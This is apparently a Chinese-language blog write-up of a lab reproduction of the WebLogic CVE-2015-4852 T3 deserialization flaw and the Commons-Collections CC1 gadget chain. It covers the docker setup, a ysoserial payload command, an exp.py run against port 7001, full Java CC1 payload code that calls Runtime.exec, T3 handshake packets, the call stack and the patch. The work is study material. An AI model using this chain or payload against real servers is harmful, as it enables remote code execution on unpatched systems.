CVE-2015-4852及前置知识fava反序列化CC1利用链

环境搭建

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器

搭建环境相比较之前的服务器更加复杂

安装weblogic参考

下载WeblogicEnvironment-master、jdk-7u21-linux-x64.tart.gz、wls1036_generic.jar三个内容

将其放在一个文件夹目录下执行(坑点,后面有说明)

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .

注意:下载相应的JDK版本和Weblogic安装包,将JDK安装包放到jdks/目录下,将Weblogic安装包放到weblogics/目录下。此步骤必须手动操作,否则无法进行后续步骤。

{% asset_img 1.png %}

这样说明安装完成了

{% asset_img 2.png %}

运行docker镜像:

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

运行完成

然后在这里需要去将一些weblogic的依赖Jar包给导出来进行远程调试

docker exec -it weblogic1036jdk7u21 /bin/bash
cd /u01/app/oracle/
cp -r middleware/ /root/WeblogicEnvironment-master/
也可以使用如下命令
docker cp 363:/root .
mkdir jar_lib
find ./ -name *.jar -exec cp {} jar_lib/ \;

weblogic远程调试:
第一步:修改docker-compose.yml文件,开启8453端口:

第二步:添加代码:

docker中运行:

cd u01/app/oracle/Domains/ExampleSilentWTDomain/bin/ 
vi setDomainEnv.sh

文件最前面添加两行代码:

debugFlag="true" 
export debugFlag

调试环境搭建

从docker中拷贝文件到本地,用idea添加:

sudo docker cp 3880a1bd5d4d:/u01/app/oracle/middleware/ shinnosuke-tools/

创建新项目,在idea中File->Project Structure里找到Libraries,添加modules

{% asset_img 5.png %}

前面的环境搭建已经成功的运行起项目了,就不用在进行别的额外的操作,现在只需要添加remote服务器,进行远程调试即可(这里也被坑了好久….1.以为还要在docker中再运行项目,忘记之前已经运行。2.以为是添加weblogic服务器,调了半天。)

{% asset_img 6.png %}

测试是否可以成功调试
首先利用ysoserial生成恶意代码

java -jar ysoserial.jar CommonsCollections1 "touch /file/22222.txt" > payload.tmp

然后用exp打过去:

python2 exp.py [ip] 7001 payload.tmp

提前断到InboundMsgAbbrev#readobject处:

{% asset_img 7.png %}

成功!搭环境搞了好久,后面一步一步调试搞清楚吧Orz….

RMI通信

此处的cve-2015-4852是基于RMI T3协议反序列化导致的漏洞。两者有什么区别吗?两者其实是一样的。只是weblogic这边的rmi通信用T3协议,只是优化了java rmi。T3传输协议是WebLogic的自有协议,Weblogic RMI就是通过T3协议传输的(可以理解为序列化的数据载体是T3)。只是之前我们接触的java的rmi使用JRMP协议。

{% asset_img 8.png %}

CC1利用链

这个利用链实际上是在调试的时候看到的,那么进行调试一下CC1链,有助于更好的理解CVE-2015-4852漏洞利用的原理:

环境要求

JDK7
Commons-collections:3.1

新建一个maven项目,commons-collection:3.1用maven添加就好

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
</dependencies>

反序列化调用链函数学习

  • TransformedMap:被修饰的map.put会分别调用实现了Transformer 接口的 Test、Test2的transformer方法。 transformer参数为key 或者 value, 返回值也就是修饰之后的值。也就是说通过Transformer修饰的map在添加元素的时候可以调用任意的transformer的方法。(这里就明白一下put会调用重载的transformer函数即可)
  • InvokerTransformer:第一个参数是方法名,第二个参数是方法的参数类型,第三个参数是方法具体的参数(这个transformer函数是利用反射执行一个方法)
  • ConstantTransformer:ConstantTransformer 方法可以将构造时的参数返回回来(后面最后一个例子返回Runtime类)
  • ChainedTransformer:将多个Transformer用过依次调用各自的transform 连接起来(简单的来说就是执行多个重载的transformer函数)
  • Transformer

TransformedMap

import org.apache.commons.collections.Transformer
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

我们大概理解下这些函数的功能

小demo
index.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.util.Map;


public class test {
    public static void main(String[] args)throws Exception{
        HashedMap hashMap = new HashedMap();
        Map map = TransformedMap.decorate(hashMap,new Test(),new Test2());
        map.put("bbbbb","ccccc");
        System.out.println(map);
    }
}

Test.java

import org.apache.commons.collections.Transformer;

public class Test implements Transformer {
    @Override
    public Object transform(Object input) {
        System.out.println(input.toString());
        return "Test";
    }
}

Test2.java

import org.apache.commons.collections.Transformer;

public class Test2 implements Transformer {
    @Override
    public Object transform(Object input) {
        System.out.println(input.toString());
        return "Test2";
    }
}
动调一下:
看到在map.put中会调用Test、Test2的transformer方法。 再看到正常打印map结构体会输出:

看到在map.put中会调用Test、Test2的transformer方法,而后由于返回的值是Test和Test2,那么最后的输出就是: {Test=Test2}}。

这里的decorate方法类似于注册类?而后面put会调用这个类中重载的transform方法。

被修饰的map 会分别调用实现了Transformer 接口的 Test、Test2的transformer方法。 transformer参数为key 或者 value, 返回值也就是修饰之后的值。

也就是说通过Transformer修饰的map在添加元素的时候可以调用任意的transformer的方法。

ConstantTransformer

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.util.Map;


public class test {
    public static void main(String[] args)throws Exception{
        HashedMap hashMap = new HashedMap();
        Map map = TransformedMap.decorate(hashMap,null,new ConstantTransformer(new Test()));
        map.put("a",1);
        System.out.println(map.get("a"));
    }
}

ConstantTransformer 方法可以将构造时的参数返回回来,有了上面的内容这里就好理解了。

InvokerTransformer

通过反射执行一个方法:

第一个参数是方法名,第二个参数是方法的参数类型,第三个参数是方法具体的参数:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;

public class test {
    public static void main(String[] args)throws Exception{
        HashedMap hashMap = new HashedMap();
        Map map = TransformedMap.decorate(hashMap,
                new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"gnome-calculator"}),
                null);
        map.put(Runtime.getRuntime(),"aa");
    }
}
可以用它执行命令,无法直接利用,反序列化需要有触发点

ChainedTransformer

将多个Transformer用过依次调用各自的transform 连接起来,再用decorate注册,注册后利用put函数执行transformChain中的InvokerTransformer

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"gnome-calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("a","b");
    }
}

利用详细过程

第一步:将ConstantTransformer InvokerTransformer添加到itransformers中

第二步:将构造好的 transformerChain放入 TransformedMap.decorate

第三步:put的时候调用transformerChain.transform

第四步:调用ConstantTransformer.transform(“b”),返回Runtime类,也就是我们在上面分析的ConstantTransformer

第五步:调用InvokerTransformer.transform(Runtime)

进入就会执行构造的方法

反序列化攻击

要想能够执行 ,就必须有put操作 而且是位于readObject方法里才能触发

我们看看反序列化入口点:AnnotationInvocationHandler

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue(
                    (new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))
                    );
                }
            }
        }

    }

var5就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这⾥遍历了它的所有元素,并依次设置值。我们需要了解map.setValue和map.put函数的区别:

setValue动态调试:

进入checkValue

分别进入ConstantTransformer、InvokerTransformer定义的transformer中执行,执行四次transform,分别是:返回runtime类,调用getmethods函数、调用invoke函数、调用exec函数

直接就执行tanrform了,下面再看看map.put函数的执行流程。

put动态调试:
进入transformValue函数

执行ChainedTransformer类中的transform方法

调用注册的InvokerTransformer函数

最终的payload:

public class test {
    public static void main(String[] args) throws Exception {
        // 创建多个transform接口的对象:ConstantTransformer会返回构造参数(这个就是返回runtime类),InvokerTransformer会调用方法和参数(第一个方法,
        // 第二个是参数类型,第三个是参数)
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"}),};
        Transformer transformerChain = new ChainedTransformer(transformers);    // 将多个Transformer用过依次调用各自的transform 连接起来
        Map innerMap = new HashMap();  // 创建一个hashmap
        innerMap.put("value", "xxxx"); // 第一个值必须为value
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); // 将transformerChain注册


        HashMap hashMap = new HashMap();

        Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //利用反射的方法调用这个类
        Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);     // 获得构造器
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);                  // 调用构造函数       

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); //写入文件的话需要用FileOutputStream
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 序列化操作
        objectOutputStream.writeObject(obj);                                       
        objectOutputStream.close();

        ByteArrayInputStream byteArrayInputStream =  new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();                                                    // 反序列化
        objectInputStream.close();
    }
}

根据我们对反序列化的认识,这个readObject必然会调用AnnotationInvocationHandler类自己定义的readObject,根据上面的认识也就不用再继续调试了。

这里我们认识到一个问题,寻找反序列化入口不仅仅是要聚焦到最上层的函数,更应该注意触发的函数调用。比如之前的例子都是map.put函数触发,而在这里我们是需要调用setValue这个函数,同样会执行到ChainedTransformer.transform函数,再到后面执行定义的transform函数。

put触发的调用链:TransformedMap.put->TransformedMap.transformValue->chainTransformer.transform->transform

总结下AnnotationInvocationHandler类的反序列化函数调用链:AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->ChainedTransformer.transform->transform(四次执行)

到这里CC1利用链算是学习完成了

T3协议

认识T3协议

在前面了解RMI的传输过程是传输的序列化数据,而在接收后会进行一个反序列化的操作。在Weblogic中对RMI规范的实现使用T3协议。而在T3的传输过程也是一样的。

weblogic进行反序列化的执行流程图

T3协议包括:1.请求包头。2.请求主体

因此,在T3数据包构造过程中,需要发送两部分的数据。

请求包头,形如

t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://localhost:7001
LP:DOMAIN
1

以\n结束

同时,我们发送t3的请求包,可用于刺探服务器weblogic版本,该服务器会将自身版本进行响应,形如:

HELO:12.1.3.0 false
AS:2048
HL:19
MS:10000000

红色内容为我们发给weblogic的数据,蓝色为weblogic返回的数据

第一段红色数据相当于一个握手包,发给weblogic,然后webligc回复,这一段包很好构造,直接发送
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n就行,重点是第二个包的构造,我们在wireshark中以hex模式查看数据流,如下

在继续之前,我们需要知道java反序列化数据都有一个特征数字:ac ed ,ac ed后面跟版本号(也就是上面的 00 05)

T3协议学习参考

攻击方式

第一种:将weblogic发送的java序列化数据的地2到第7部分的反序列化数据进行替换

第二种:将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。也就是替换第一部分的数据

也就是说,我们的发送的T3协议,可以简单的理解为两部分:非序列化数据,和序列化数据。而序列化部分又以ac ed继续进行划分

resolveClass

resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。

前面分析readObject方法的时候,我们得知了shiro就是重写了resolveClass方法导致很多利用链无法使用,但是shiro在编写的时候,并不是为了防御反序列化漏洞才去重写的resolveClass,但是就是这么一个无意间的举动,导致了防御住了大部分攻击。

而在后面的weblogic补丁当中,也会基于这个resolveClass去做反序列化漏洞的防御。

引用:

漏洞分析

搞了一天最后终于到了漏洞分析的地方

跟着调试了一遍,发现知识储备不够理解这个漏洞的原理。需要CC1链的知识,暂时先放下,去看看大象是个什么情况。

断住之后我们先跟一下看看:

调试过程中遇到了许多问题,例如断不住等问题,或者函数执行界面混乱(随意跳转执行)不知道为什么会这样。。。。导致很久无法调试完成。

我们总结下调用链:

transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:51, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57 (com.sun.proxy)
readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

到这里看到实现了RCE的目的:

那么我们在从头分析一下漏洞的起因和利用方式:

调用readObject#InboundMsgAbbrev看到原始数据

该方法主要是读取head数据也就是我们发送的包

进入这个函数进行分块处理

通过反射的方式加载类,调试的时候发现这些获取的都是CC1利用链中所需要的类:什么AnnocationInvocationHandler、ConstantTransformer等等

总结:入口点开始weblogic.rjvm.InboundMsgAbbrev#readObject方法开始。通过read()方法,读取T3数据流的序列化部分依次分块解析类。InboundMsgAbbrev#resolveClass()内部使用Class.forName来从类序列化获取到对应类的一个Class的对象。进行相对应的点实例化并读取了AnnotationInvocationHandler触发了此处CC1的利用链。最后在AbstractMapDecorator#entrySet()方法触发,达到了rce目的。(漏洞存在于
ServerChannelInputStream的resolveClass并没有任何做防御)

我们也算是理解了CC1调用链和一些反序列化漏洞挖掘的技巧,注意下层方法的调用,不要聚焦于上层函数。不过这个漏洞实在是很硬核,虽然断断续续调了一个周,但也并由掌握很多精髓的东西。比如如何挖掘出这个漏洞的,以及payload构造技巧还有就是调试问题是如何解决,本地搭建进行调试吗?不知道一些调试问题是不是由于远程的问题导致。

patch

补丁:2016年1月 p21984589_1036_Generic修复方法是在resolveClass中引入了 ClassFilter.isBlackListed进行过滤,跟进weblogic.rmi.ClassFilter可以看到黑名单内容。

参考文章

weblogic历史T3反序列化漏洞及补丁梳理
Java安全之初探weblogic T3协议漏洞
weblogic之cve-2015-4852
Weblogic反序列化漏洞利用入门——CVE-2015-4852


 Current
CVE-2015-4852及前置知识fava反序列化CC1利用链 CVE-2015-4852及前置知识fava反序列化CC1利用链
环境搭建WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器 搭建环境相比较之前的服务器更加复杂 安装weblogic参考 下载Weblog
Next 
初探qemu逃逸 初探qemu逃逸
[toc] 常用指令sudo uname -m 出现i686代表是32位,出现x86_64代表64位。 gcc -m32 -O0 souce_code -o bin_file 编译32位文件: gcc -m32 -O0 -stat
2021-06-23
  TOC